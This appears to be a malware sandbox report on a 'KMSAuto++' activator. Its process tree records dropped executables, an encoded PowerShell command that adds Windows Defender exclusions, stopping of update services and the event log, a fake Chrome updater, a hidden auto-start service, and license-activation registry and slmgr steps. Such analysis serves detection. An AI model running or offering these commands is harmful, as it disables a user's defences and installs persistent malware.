C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7692,i,7741302549516456537,17652990110873850812,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7676 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3696,i,8444231714933355626,8808720278493712209,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7508 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3496,i,5804123855109472202,16714379307079474309,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=1848 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7444,i,1039470607852159654,11235444550303836965,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7976 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7964,i,10638441192893131794,14003357270580251684,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7968 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7136,i,13514899716176108561,13171823118090990954,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7924 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7232,i,2160436807037145659,16831193799174602125,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7964 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,2083098253094593995,10226496627769956754,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7136 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7976,i,5160426760992417092,831256140426256172,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7152 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3408,i,16058879831197227889,12049595467781432058,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7956 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6208,i,6213182752525921021,650845406720324010,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,18067522026040264108,13482914362312241518,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3644,i,11266476327140340936,16387235567105510758,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7396 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6956,i,6903065461660477537,4554346201699556997,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6628,i,8775216271900432860,3065758717341021208,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=744 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,10591872183216161688,15858514854849303410,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:84⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_KMSAuto++ Portable.zip\KMSAuto++ Portable\KMSAuto++.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_KMSAuto++ Portable.zip\KMSAuto++ Portable\KMSAuto++.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBuACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAZwBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAYgBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAagBxACMAPgA="3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\tmputf5mvvc\exe2.exeC:\Users\Admin\AppData\Local\Temp\tmputf5mvvc\exe2.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "OPQEVSOQ"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "OPQEVSOQ" binpath= "C:\ProgramData\dmnxhvzbkpku\wnjagwivykor.exe" start= "auto"6⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "OPQEVSOQ"6⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\KMSAuto++.exe"C:\Users\Admin\AppData\Local\Temp\KMSAuto++.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\Tasks\KMSAuto "C:\Users\Admin\AppData\Local\Temp\KMSAuto.tmp" /Y4⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /ipk VK7JG-NPHTM-C97JM-9MPGT-3V66T4⤵
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /ipk VK7JG-NPHTM-C97JM-9MPGT-3V66T5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /xpr4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /xpr5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe qc licensemanager4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe qc licensemanager5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe qc wuauserv4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe qc wuauserv5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe qc wlidsvc4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe qc wlidsvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe start licensemanager4⤵
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe start licensemanager5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe start wuauserv4⤵
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe start wuauserv5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\sc.exe start wlidsvc4⤵
-
C:\Windows\System32\sc.exeC:\Windows\System32\sc.exe start wlidsvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens" /f /v "Channel" /t REG_SZ /d Retail4⤵
-
C:\Windows\System32\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens" /f /v "Channel" /t REG_SZ /d Retail5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens\Kernel" /f /v "Kernel-ProductInfo" /t REG_DWORD /d 484⤵
-
C:\Windows\System32\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens\Kernel" /f /v "Kernel-ProductInfo" /t REG_DWORD /d 485⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens\Kernel" /f /v "Security-SPP-GenuineLocalStatus" /t REG_DWORD /d 14⤵
-
C:\Windows\System32\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\Tokens\Kernel" /f /v "Security-SPP-GenuineLocalStatus" /t REG_DWORD /d 15⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg.exe delete "HKEY_LOCAL_MACHINE\SYSTEM\Tokens" /f4⤵
-
C:\Windows\System32\reg.exereg.exe delete "HKEY_LOCAL_MACHINE\SYSTEM\Tokens" /f5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c h.cmd4⤵
-
C:\Windows\System32\sc.exesc query Null5⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"5⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "h.cmd"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver5⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV25⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "5⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd5⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "6⤵
-
-
C:\Windows\System32\cmd.execmd6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\BIN\h.cmd" "5⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /ato4⤵
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\slmgr.vbs" /ato5⤵
-
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\ProgramData\dmnxhvzbkpku\wnjagwivykor.exeC:\ProgramData\dmnxhvzbkpku\wnjagwivykor.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Defense Evasion
Impair Defenses
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
Loading Replay Monitor...
Downloads
manifest.json
edge_checkout_page_validator.js
manifest.json
manifest.json
hyph-as.hyb
hyph-hi.hyb
hyph-nb.hyb
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
notification_fast.bundle.js.LICENSE.txt
tokenized-card.bundle.js.LICENSE.txt
strings.json
manifest.json
keys.json
manifest.json
wnjagwivykor.exe
powershell.exe.log
autofill_bypass_cache_forms.json
edge_autofill_global_block_list.json
v1FieldTypes.json
5fab9fd5-0978-41a6-a3ea-73976638ed3d.dmp
7c8acb7a-383c-4a25-91d5-fa64155a24cd.dmp
settings.dat
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
the-real-index~RFe59a80e.TMP
SiteList-Enterprise.json
HubApps
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe58fa78.TMP
the-real-index
the-real-index~RFe590d83.TMP
index.txt
the-real-index
the-real-index~RFe59095d.TMP
sync_diagnostic.log
CURRENT
MANIFEST-000001
data.txt
wallet-checkout-eligible-sites.json
wallet-notification-config.json
wallet-stable.json
wallet-tokenization-config.json
Local State
Local State
Local State
Local State
Local State
Local State
Local State
crs.pb
ct_config.pb
kp_pinslist.pb
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter~RFe58fd47.TMP
data_1
Filtering Rules
LICENSE
typosquatting_list.pb
well_known_domains.dll
ranked_dicts
00af3f07b5abb71f6d30337e1eef62fa280f06ef19485c0cf6b72171f92ccc0a
017cd1932d44fa3f5b7dcfd7ace33af995856842862c48ffbdb1df11e661a0ee
07e0ad6da3d30a27962c6e09da9798ba1745856eaad71a036e2f639e93ea0b27
07f28875ce5e1afe81d290173be7139e537f673bb9d715c0d4795952bb1642b8
2d2f683649600db91050fb41cd9ffea403ae024de38a0647b18e7f6106f6c55d
38b9a60260c000df8eadd64719d86020e30480df9afb893e60b5ef7d780616a5
720517793663c90e0dbd77cb42709bac49af733f83f73320ba89859d9b0310e0
7a71f2cce966ecd582e644399b8d9edff228993586f21d3f7136761c73feff84
7d78dd72eaa60e854b8f77e4e8d64d346fb3e084b74c4b551eb41916a8057561
8d64e3a35ee2c3e0b9e33afd63069fdc917a5647dd1e20c5ead97955fb6979f9
96b9640eef0668f4d266932438731ee473f9c1186e1c64440512025567be62b7
a81d1959892ae4180554347df1b97834abba2e1a5e6b9aeba000ecea26eabecc
a922b7d113e67ce71528805d3c6780f7a207cada8ad56642047577358e46ba3d
fe1dddd490dd50171cbf30fa635145b0a8dc881fa5c19800c9a043025021768a
metadata.json
metadata.json
metadata.json
metadata.json
3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
metadata.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
StartupProfileData-NonInteractive
1.exe
KMSAuto++.exe
KMSAuto++.exe
